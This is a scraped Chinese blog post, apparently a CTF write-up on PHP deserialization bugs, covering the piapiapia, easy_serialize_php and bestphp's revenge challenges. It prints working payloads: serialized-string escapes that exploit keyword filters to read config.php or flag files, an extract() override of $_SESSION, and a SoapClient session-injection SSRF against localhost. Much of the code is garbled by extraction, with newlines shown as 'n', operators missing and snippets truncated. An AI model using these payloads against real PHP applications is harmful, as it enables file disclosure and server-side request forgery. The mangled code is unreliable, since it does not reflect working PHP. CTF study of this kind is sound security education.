          //register.phpn<?php ntrequire_once('class.php');ntif($_POST['username'] && $_POST['password']) {ntt$username = $_POST['username'];ntt$password = $_POST['password'];nnttif(strlen($username)  16) ntttdie('Invalid user name');nnttif(strlen($password)  16) ntttdie('Invalid password');nttif(!$user->is_exists($username)) {nttt$user->register($username, $password);ntttecho 'Register OK!Please Login';ttntt}nttelse {ntttdie('User name Already Exists');ntt}nt}ntelse {n?>nnnn   Loginn   n   n   nnnt
          ntt ntttPHP反序列化漏洞详解nttt

          Register

          ntttntttntttntttnntttnttnt
          nnnnn
          //update.phpn 10)ntttdie('Invalid nickname');nntt$file = $_FILES['photo'];nttif($file['size']  1000000)ntttdie('Photo size error');nnttmove_uploaded_file($file['tmp_name'], 'upload/' . md5($file['name']));ntt$profile['phone'] = $_POST['phone'];ntt$profile['email'] = $_POST['email'];ntt$profile['nickname'] = $_POST['nickname'];ntt$profile['photo'] = 'upload/' . md5($file['name']);nntt$user->update_profile($username, serialize($profile));nttecho 'Update Profile Success!Your Profile';nt}ntelse {n?>nnnn   UPDATEn   n   n   nnnt
          ntt ntttPHP反序列化漏洞详解nttt

          Please Update Your Profile

          ntttntttntttntttntttntttntttntttntttnttnt
          nnnnn
          //class.phpntable, $where);nt}ntpublic function register($username, $password) {ntt$username = parent::filter($username);ntt$password = parent::filter($password);nntt$key_list = Array('username', 'password');ntt$value_list = Array($username, md5($password));nttreturn parent::insert($this->table, $key_list, $value_list);nt}ntpublic function login($username, $password) {ntt$username = parent::filter($username);ntt$password = parent::filter($password);nntt$where = "username = '$username'";ntt$object = parent::select($this->table, $where);nttif ($object && $object->password === md5($password)) {ntttreturn true;ntt} else {ntttreturn false;ntt}nt}ntpublic function show_profile($username) {ntt$username = parent::filter($username);nntt$where = "username = '$username'";ntt$object = parent::select($this->table, $where);nttreturn $object->profile;nt}ntpublic function update_profile($username, $new_profile) {ntt$username = parent::filter($username);ntt$new_profile = parent::filter($new_profile);nntt$where = "username = '$username'";nttreturn parent::update($this->table, 'profile', $new_profile, $where);nt}ntpublic function __tostring() {nttreturn __class__;nt}n}nnclass mysql {ntprivate $link = null;nntpublic function connect($config) {ntt$this->link = mysql_connect(nttt$config['hostname'],nttt$config['username'], nttt$config['password']ntt);nttmysql_select_db($config['database']);nttmysql_query("SET sql_mode='strict_all_tables'");nnttreturn $this->link;nt}nntpublic function select($table, $where, $ret = '*') {ntt$sql = "SELECT $ret FROM $table WHERE $where";ntt$result = mysql_query($sql, $this->link);nttreturn mysql_fetch_object($result);nt}nntpublic function insert($table, $key_list, $value_list) {ntt$key = implode(',', $key_list);ntt$value = ''' . implode('','', $value_list) . '''; ntt$sql = "INSERT INTO $table ($key) VALUES ($value)";nttreturn mysql_query($sql);nt}nntpublic function update($table, $key, $value, $where) {ntt$sql = "UPDATE $table SET $key = '$value' WHERE $where";nttreturn mysql_query($sql);nt}nntpublic function filter($string) {ntt$escape = array(''', '/');ntt$escape = '/' . implode('|', $escape) . '/';ntt$string = preg_replace($escape, '_', $string);nntt$safe = array('select', 'insert', 'update', 'delete', 'where');ntt$safe = '/' . implode('|', $safe) . '/i';nttreturn preg_replace($safe, 'hacker', $string);nt}ntpublic function __tostring() {nttreturn __class__;nt}n}nsession_start();n$user = new user();n$user->connect($config);n
          //config.phpnn//考点: 序列化字符串字符增加的反序列化n

          代码审计过后,发现序列化(update.php)与反序列化(profile.php)的点

          PHP反序列化漏洞详解

          PHP反序列化漏洞详解

          过滤函数filter(class.php)如下

          PHP反序列化漏洞详解

          在profile.php第16行代码中,可以看到有读取文件的操作,结合前面的序列化,可以知道这里可以逃逸photo,控制photo为想要读取的文件名再访问profile.php文件即可。

          phone与email的限制很严,无法绕过,可以看见在nickname参数中我们能够输入一切我们想输入的字符(";:等).只要能够使得后半段if判断通过,即可。

          strlen函数在判断数组时会返回null,而null在与整型数字判断时会返回false,故构造nickname为数组即可绕过nickname的if判断

          PHP反序列化漏洞详解

          payload构造

          正常序列化结果如下n$profile['phone'] = '12345678911';n$profile['email'] = [email protected]';n$profile['nickname'] = ['wuhusihai'];n$profile['photo'] = 'upload/123456';nna:4:{s:5:"phone";s:11:"12345678911";s:5:"email";s:15:"[email protected]";s:8:"nickname";a:1:{i:0;s:9:"wuhusihai";}s:5:"photo";s:13:"upload/123456";}nn明确需要逃逸的字符串为";}s:5:"photo";s:10:"config.php";},长度为34,故需要34个敏感词where来完成逃逸n构造payload再序列化查看结果n$profile['phone'] = '12345678911';n$profile['email'] = [email protected]';n$profile['nickname'] = ['wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewhere";}s:5:"photo";s:10:"config.php";}'];n$profile['photo'] = 'upload/123456';nna:4:{s:5:"phone";s:11:"12345678911";s:5:"email";s:15:"[email protected]";s:8:"nickname";a:1:{i:0;s:204:"hackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhackerhacker";}s:5:"photo";s:10:"config.php";}";}s:5:"photo";s:13:"upload/123456";}nnPS:可通过校验hacker字符串的长度是否为204来判断是否正确,也可在本地进行反序列化,看能否正常反序列化n

          PHP反序列化漏洞详解

          提交payload

          PHP反序列化漏洞详解

          访问profile.php

          PHP反序列化漏洞详解

          解码

          PHP反序列化漏洞详解

          安洵杯 2019 easy_serialize_php

          源码

          <?php nn$function = @$_GET['f'];nnfunction filter($img){n    $filter_arr = array('php','flag','php5','php4','fl1g');n    $filter = '/'.implode('|',$filter_arr).'/i';n    return preg_replace($filter,'',$img);n}nnnif($_SESSION){n    unset($_SESSION);n}nn$_SESSION["user"] = 'guest';n$_SESSION['function'] = $function;nnextract($_POST);nnif(!$function){n    echo 'source_code';n}nnif(!$_GET['img_path']){n    $_SESSION['img'] = base64_encode('guest_img.png');n}else{n    $_SESSION['img'] = sha1(base64_encode($_GET['img_path']));n}nn$serialize_info = filter(serialize($_SESSION));nnif($function == 'highlight_file'){n    highlight_file('index.php');n}else if($function == 'phpinfo'){n    eval('phpinfo();'); //maybe you can find something in here!-> 查看phpinfo后可知flag文件d0g3_f1ag.phpn}else if($function == 'show_image'){n    $userinfo = unserialize($serialize_info);n    echo file_get_contents(base64_decode($userinfo['img']));n} n//考点: 序列化字符串字符减少的反序列化,extract变量覆盖n

          通过extract可覆盖全局变量$_SESSION进一步可控制序列化结果中的user与function,两处可控并且filter会减少序列化字符串字符数,进一步逃逸对象

          payload为GET-> f=show_image POST-> _SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}

          PHP反序列化漏洞详解

          payload构造思路n首先构造需要逃逸的字符串n";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";},查看序列化后的字符串为na:3:{s:4:"user";s:0:"";s:8:"function";s:70:"";s:8:"function";s:10:"show_image";s:3:"img";s:16:"L2V0Yy9wYXNzd2Q=";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}n查看需要吞没的字符串长度";s:8:"function";s:70:",长度为23,根据filter函数可知,关键词php可吞没3个字符,flag可吞没4个字符,即构造flag*5+php ->nflagflagflagflagflagphpn二者结合可得n_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:8:"function";s:10:"show_image";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";}n

          bestphp's revenge
          n//考点: php原生类反序列化n

          访问flag.php,发现

          PHP反序列化漏洞详解

          only localhost can get flag!session_start();necho 'only localhost can get flag!';n$flag = 'LCTF{*************************}';nif($_SERVER["REMOTE_ADDR"]==="127.0.0.1"){n       $_SESSION['flag'] = $flag;n   }nonly localhost can get flag!n

          虽然call_user_func各个参数皆可控,但由于第二个参数类型不可控(定死为数组),无法做到任意代码执行。我们需要通过ssrf使服务器访问到flag.php即可获得flag.在没有可见的ssrf利用处时,可考虑php自身的ssrf,也即是php原生类SoapClient.如下

          'http://vps/flag.php','uri'=>'http://vps/flag.php'));n$a->azhe();n?>nn

          PHP反序列化漏洞详解

          所以,现在如何使程序去SSRF成为首要问题。

          我们知道,php在保存session之时,会将session进行序列化,而在使用session时则会进行反序列化,可控的session值导致了序列化的内容可控。

          结合php序列化引擎的知识可知,默认序列化引擎为php,该方式序列化后的结果为key|序列化结果,如下

          PHP反序列化漏洞详解

          而php_serialize引擎存储的结果则仅为序列化结果,如下

          PHP反序列化漏洞详解

          在php引擎中,|之前的内容会被当作session的键,|后的内容会在执行反序列化操作后作为session键对应的值,比如name|s:6:"4ut15m";里的name就成为了$_SESSION['name'],而s:6:"4ut15m";在执行反序列化操作后则变成了字符串4ut15m,二者结合即是$_SESSION['name']="4ut15m"

          因为call_user_func的参数可控,故我们可以调用函数ini_set或者session_start来修改序列化引擎。一系列操作如下

          先生成所需的序列化字符串

          PHP反序列化漏洞详解

          需要在序列化结果前添加一个|,也即是|O%3A10%3A%22SoapClient%22%3A3%3A%7Bs%3A3%3A%22uri%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A8%3A%22location%22%3Bs%3A25%3A%22http%3A%2F%2F127.0.0.1%2Fflag.php%22%3Bs%3A13%3A%22_soap_version%22%3Bi%3A1%3B%7D

          尝试修改题目序列化引擎,ini_set无法处理数组,故用session_start("serialize_handler")

          PHP反序列化漏洞详解

          再访问一次该页面,则变为了默认引擎(php),可以看到序列化结果键已经不再是name,值也不再是|O:10:"SoapClient":3:{s:3:"uri";s:25:"http://127.0.0.1/flag.php";s:8:"location";s:25:"http://127.0.0.1/flag.php";s:13:"_soap_version";i:1;},而是SoapClient对象

          PHP反序列化漏洞详解

          接下来,想要使该SoapClient对象能够发起请求,就需要调用该对象的__call方法.

          $a = array(reset($_SESSION), 'welcome_to_the_lctf2018');这一行代码在执行后,$a的值就成为了array(SoapClient对象,'welcome_to_the_lctf2018')

          我们知道,call_user_func函数的第一个参数为数组时,它会将数组的第一个值作为类,第二个值作为方法去调用该类的方法,如下

          PHP反序列化漏洞详解

          __call魔术方法会在调用不存在方法的时候自动调用,故,如果能构造到call_user_func($a),则可以达到执行SoapClient->welcome_to_the_lctf2018()的效果,由于SoapClient不存在welcome_to_the_lctf2018方法,那么这里就会自动调用__call方法,如下

          PHP反序列化漏洞详解

          在bp中重放攻击一次,得到session

          PHP反序列化漏洞详解

          修改session并刷新

          PHP反序列化漏洞详解

          参考文献

          1.N1BOOK反序列化部分',is_rmb:t,is_jb:t,is_reproduce:t,post_list:'[{"name":"一、基础","id":"h2-1","child":[]},{"name":"二、序列化引擎","id":"h2-2","child":[]},{"name":"三、魔术方法","id":"h2-3","child":[]},{"name":"四、反序列化漏洞","id":"h2-4","child":[{"id":"h3-1","name":"4.1 原生类利用"},{"id":"h3-2","name":"4.2 反序列化字符逃逸"},{"id":"h3-3","name":"4.3 PHAR协议利用"},{"id":"h3-4","name":"4.4 PHP引用"}]},{"name":"五、BUGKU","id":"h2-5","child":[{"id":"h3-5","name":"安慰奖"}]},{"name":"六、BUUCTF","id":"h2-6","child":[{"id":"h3-6","name":"ZJCTF 2019 NiZhuanSiWei"},{"id":"h3-7","name":"MRCTF2020 Ezpop"},{"id":"h3-8","name":"CISCN2019 Day1 Web1 Dropbox"},{"id":"h3-9","name":"网鼎杯 2020 青龙组 AreUSerialz"},{"id":"h3-10","name":"0CTF 2016 piapiapia"},{"id":"h3-11","name":"安洵杯 2019 easy_serialize_php"},{"id":"h3-12","name":"bestphp's revenge"}]},{"name":"参考文献","id":"h2-7","child":[]}]'},serverMemuRender:!0}],fetch:[],error:null,state:{counter:0,userInfo:{userInfo:{},skinData:{skin:"classical",vip:t,vip_time:""},dynamicCount:"",keyAuth:"",messageCount:{},isParty:t}},serverRendered:!0,routePath:"/articles/web/263710.html"}}(!1,"4ut15m")



          ' . htmlentities($func) . 'Opt
          ' . htmlentities($value) . ' 下载 / 删除


          © 版权声明
          THE END
          喜欢就支持一下吧
          点赞0
          分享
          评论 抢沙发

          请登录后发表评论